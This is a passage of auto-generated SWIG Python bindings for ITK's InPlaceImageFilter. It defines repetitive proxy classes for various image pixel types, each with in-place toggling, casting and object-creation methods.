"""itkInPlaceImageFilterIUC3ISS3_cast(itkLightObject obj) -> itkInPlaceImageFilterIUC3ISS3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3ISS3_cast(obj) class itkInPlaceImageFilterIUC3IUC3(itkImageToImageFilterAPython.itkImageToImageFilterIUC3IUC3): """Proxy of C++ itkInPlaceImageFilterIUC3IUC3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUC3IUC3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUC3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUC3IUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUC3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUC3IUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUC3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUC3IUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUC3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUC3IUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUC3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUC3IUC3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC3IUC3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUC3IUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUC3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUC3IUC3 Create a new object of the class itkInPlaceImageFilterIUC3IUC3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUC3IUC3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUC3IUC3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUC3IUC3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUC3IUC3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUC3_SetInPlace, None, itkInPlaceImageFilterIUC3IUC3) itkInPlaceImageFilterIUC3IUC3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUC3_GetInPlace, None, itkInPlaceImageFilterIUC3IUC3) itkInPlaceImageFilterIUC3IUC3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUC3_InPlaceOn, None, itkInPlaceImageFilterIUC3IUC3) itkInPlaceImageFilterIUC3IUC3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUC3_InPlaceOff, None, itkInPlaceImageFilterIUC3IUC3) itkInPlaceImageFilterIUC3IUC3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUC3_CanRunInPlace, None, itkInPlaceImageFilterIUC3IUC3) itkInPlaceImageFilterIUC3IUC3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUC3_swigregister itkInPlaceImageFilterIUC3IUC3_swigregister(itkInPlaceImageFilterIUC3IUC3) def itkInPlaceImageFilterIUC3IUC3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC3IUC3 *": """itkInPlaceImageFilterIUC3IUC3_cast(itkLightObject obj) -> itkInPlaceImageFilterIUC3IUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUC3_cast(obj) class itkInPlaceImageFilterIUC3IUS3(itkImageToImageFilterAPython.itkImageToImageFilterIUC3IUS3): """Proxy of C++ itkInPlaceImageFilterIUC3IUS3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUC3IUS3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUS3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUC3IUS3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUS3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUC3IUS3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUS3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUC3IUS3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUS3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUC3IUS3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUS3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUC3IUS3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC3IUS3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUC3IUS3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUS3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUC3IUS3 Create a new object of the class itkInPlaceImageFilterIUC3IUS3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUC3IUS3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUC3IUS3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUC3IUS3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUC3IUS3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUS3_SetInPlace, None, itkInPlaceImageFilterIUC3IUS3) itkInPlaceImageFilterIUC3IUS3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUS3_GetInPlace, None, itkInPlaceImageFilterIUC3IUS3) itkInPlaceImageFilterIUC3IUS3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUS3_InPlaceOn, None, itkInPlaceImageFilterIUC3IUS3) itkInPlaceImageFilterIUC3IUS3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUS3_InPlaceOff, None, itkInPlaceImageFilterIUC3IUS3) itkInPlaceImageFilterIUC3IUS3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUS3_CanRunInPlace, None, itkInPlaceImageFilterIUC3IUS3) itkInPlaceImageFilterIUC3IUS3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUS3_swigregister itkInPlaceImageFilterIUC3IUS3_swigregister(itkInPlaceImageFilterIUC3IUS3) def itkInPlaceImageFilterIUC3IUS3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC3IUS3 *": """itkInPlaceImageFilterIUC3IUS3_cast(itkLightObject obj) -> itkInPlaceImageFilterIUC3IUS3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC3IUS3_cast(obj) class itkInPlaceImageFilterIUL2IRGBAUC2(itkImageToImageFilterBPython.itkImageToImageFilterIUL2IRGBAUC2): """Proxy of C++ itkInPlaceImageFilterIUL2IRGBAUC2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUL2IRGBAUC2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBAUC2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUL2IRGBAUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBAUC2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUL2IRGBAUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBAUC2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUL2IRGBAUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBAUC2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUL2IRGBAUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBAUC2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUL2IRGBAUC2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUL2IRGBAUC2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUL2IRGBAUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBAUC2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUL2IRGBAUC2 Create a new object of the class itkInPlaceImageFilterIUL2IRGBAUC2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUL2IRGBAUC2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUL2IRGBAUC2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUL2IRGBAUC2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUL2IRGBAUC2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBAUC2_SetInPlace, None, itkInPlaceImageFilterIUL2IRGBAUC2) itkInPlaceImageFilterIUL2IRGBAUC2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBAUC2_GetInPlace, None, itkInPlaceImageFilterIUL2IRGBAUC2) itkInPlaceImageFilterIUL2IRGBAUC2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBAUC2_InPlaceOn, None, itkInPlaceImageFilterIUL2IRGBAUC2) itkInPlaceImageFilterIUL2IRGBAUC2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBAUC2_InPlaceOff, None, itkInPlaceImageFilterIUL2IRGBAUC2) itkInPlaceImageFilterIUL2IRGBAUC2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBAUC2_CanRunInPlace, None, itkInPlaceImageFilterIUL2IRGBAUC2) itkInPlaceImageFilterIUL2IRGBAUC2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBAUC2_swigregister itkInPlaceImageFilterIUL2IRGBAUC2_swigregister(itkInPlaceImageFilterIUL2IRGBAUC2) def itkInPlaceImageFilterIUL2IRGBAUC2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUL2IRGBAUC2 *": """itkInPlaceImageFilterIUL2IRGBAUC2_cast(itkLightObject obj) -> itkInPlaceImageFilterIUL2IRGBAUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBAUC2_cast(obj) class itkInPlaceImageFilterIUL2IRGBUC2(itkImageToImageFilterBPython.itkImageToImageFilterIUL2IRGBUC2): """Proxy of C++ itkInPlaceImageFilterIUL2IRGBUC2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUL2IRGBUC2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBUC2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUL2IRGBUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBUC2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUL2IRGBUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBUC2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUL2IRGBUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBUC2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUL2IRGBUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBUC2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUL2IRGBUC2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUL2IRGBUC2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUL2IRGBUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBUC2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUL2IRGBUC2 Create a new object of the class itkInPlaceImageFilterIUL2IRGBUC2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUL2IRGBUC2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUL2IRGBUC2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUL2IRGBUC2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUL2IRGBUC2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBUC2_SetInPlace, None, itkInPlaceImageFilterIUL2IRGBUC2) itkInPlaceImageFilterIUL2IRGBUC2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBUC2_GetInPlace, None, itkInPlaceImageFilterIUL2IRGBUC2) itkInPlaceImageFilterIUL2IRGBUC2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBUC2_InPlaceOn, None, itkInPlaceImageFilterIUL2IRGBUC2) itkInPlaceImageFilterIUL2IRGBUC2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBUC2_InPlaceOff, None, itkInPlaceImageFilterIUL2IRGBUC2) itkInPlaceImageFilterIUL2IRGBUC2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBUC2_CanRunInPlace, None, itkInPlaceImageFilterIUL2IRGBUC2) itkInPlaceImageFilterIUL2IRGBUC2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBUC2_swigregister itkInPlaceImageFilterIUL2IRGBUC2_swigregister(itkInPlaceImageFilterIUL2IRGBUC2) def itkInPlaceImageFilterIUL2IRGBUC2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUL2IRGBUC2 *": """itkInPlaceImageFilterIUL2IRGBUC2_cast(itkLightObject obj) -> itkInPlaceImageFilterIUL2IRGBUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL2IRGBUC2_cast(obj) class itkInPlaceImageFilterIUL3IRGBAUC3(itkImageToImageFilterBPython.itkImageToImageFilterIUL3IRGBAUC3): """Proxy of C++ itkInPlaceImageFilterIUL3IRGBAUC3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUL3IRGBAUC3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBAUC3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUL3IRGBAUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBAUC3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUL3IRGBAUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBAUC3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUL3IRGBAUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBAUC3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUL3IRGBAUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBAUC3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUL3IRGBAUC3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUL3IRGBAUC3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUL3IRGBAUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBAUC3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUL3IRGBAUC3 Create a new object of the class itkInPlaceImageFilterIUL3IRGBAUC3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUL3IRGBAUC3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUL3IRGBAUC3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUL3IRGBAUC3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUL3IRGBAUC3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBAUC3_SetInPlace, None, itkInPlaceImageFilterIUL3IRGBAUC3) itkInPlaceImageFilterIUL3IRGBAUC3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBAUC3_GetInPlace, None, itkInPlaceImageFilterIUL3IRGBAUC3) itkInPlaceImageFilterIUL3IRGBAUC3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBAUC3_InPlaceOn, None, itkInPlaceImageFilterIUL3IRGBAUC3) itkInPlaceImageFilterIUL3IRGBAUC3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBAUC3_InPlaceOff, None, itkInPlaceImageFilterIUL3IRGBAUC3) itkInPlaceImageFilterIUL3IRGBAUC3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBAUC3_CanRunInPlace, None, itkInPlaceImageFilterIUL3IRGBAUC3) itkInPlaceImageFilterIUL3IRGBAUC3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBAUC3_swigregister itkInPlaceImageFilterIUL3IRGBAUC3_swigregister(itkInPlaceImageFilterIUL3IRGBAUC3) def itkInPlaceImageFilterIUL3IRGBAUC3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUL3IRGBAUC3 *": """itkInPlaceImageFilterIUL3IRGBAUC3_cast(itkLightObject obj) -> itkInPlaceImageFilterIUL3IRGBAUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBAUC3_cast(obj) class itkInPlaceImageFilterIUL3IRGBUC3(itkImageToImageFilterBPython.itkImageToImageFilterIUL3IRGBUC3): """Proxy of C++ itkInPlaceImageFilterIUL3IRGBUC3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUL3IRGBUC3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBUC3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUL3IRGBUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBUC3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUL3IRGBUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBUC3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUL3IRGBUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBUC3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUL3IRGBUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBUC3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUL3IRGBUC3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUL3IRGBUC3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUL3IRGBUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBUC3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUL3IRGBUC3 Create a new object of the class itkInPlaceImageFilterIUL3IRGBUC3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUL3IRGBUC3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUL3IRGBUC3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUL3IRGBUC3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUL3IRGBUC3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBUC3_SetInPlace, None, itkInPlaceImageFilterIUL3IRGBUC3) itkInPlaceImageFilterIUL3IRGBUC3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBUC3_GetInPlace, None, itkInPlaceImageFilterIUL3IRGBUC3) itkInPlaceImageFilterIUL3IRGBUC3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBUC3_InPlaceOn, None, itkInPlaceImageFilterIUL3IRGBUC3) itkInPlaceImageFilterIUL3IRGBUC3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBUC3_InPlaceOff, None, itkInPlaceImageFilterIUL3IRGBUC3) itkInPlaceImageFilterIUL3IRGBUC3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBUC3_CanRunInPlace, None, itkInPlaceImageFilterIUL3IRGBUC3) itkInPlaceImageFilterIUL3IRGBUC3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBUC3_swigregister itkInPlaceImageFilterIUL3IRGBUC3_swigregister(itkInPlaceImageFilterIUL3IRGBUC3) def itkInPlaceImageFilterIUL3IRGBUC3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUL3IRGBUC3 *": """itkInPlaceImageFilterIUL3IRGBUC3_cast(itkLightObject obj) -> itkInPlaceImageFilterIUL3IRGBUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUL3IRGBUC3_cast(obj) class itkInPlaceImageFilterIULL2ISS2(itkImageToImageFilterAPython.itkImageToImageFilterIULL2ISS2): """Proxy of C++ itkInPlaceImageFilterIULL2ISS2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIULL2ISS2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2ISS2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIULL2ISS2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2ISS2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIULL2ISS2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2ISS2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIULL2ISS2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2ISS2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIULL2ISS2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2ISS2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIULL2ISS2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIULL2ISS2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIULL2ISS2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2ISS2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIULL2ISS2 Create a new object of the class itkInPlaceImageFilterIULL2ISS2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIULL2ISS2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIULL2ISS2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIULL2ISS2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIULL2ISS2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2ISS2_SetInPlace, None, itkInPlaceImageFilterIULL2ISS2) itkInPlaceImageFilterIULL2ISS2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2ISS2_GetInPlace, None, itkInPlaceImageFilterIULL2ISS2) itkInPlaceImageFilterIULL2ISS2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2ISS2_InPlaceOn, None, itkInPlaceImageFilterIULL2ISS2) itkInPlaceImageFilterIULL2ISS2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2ISS2_InPlaceOff, None, itkInPlaceImageFilterIULL2ISS2) itkInPlaceImageFilterIULL2ISS2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2ISS2_CanRunInPlace, None, itkInPlaceImageFilterIULL2ISS2) itkInPlaceImageFilterIULL2ISS2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIULL2ISS2_swigregister itkInPlaceImageFilterIULL2ISS2_swigregister(itkInPlaceImageFilterIULL2ISS2) def itkInPlaceImageFilterIULL2ISS2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIULL2ISS2 *": """itkInPlaceImageFilterIULL2ISS2_cast(itkLightObject obj) -> itkInPlaceImageFilterIULL2ISS2""" return 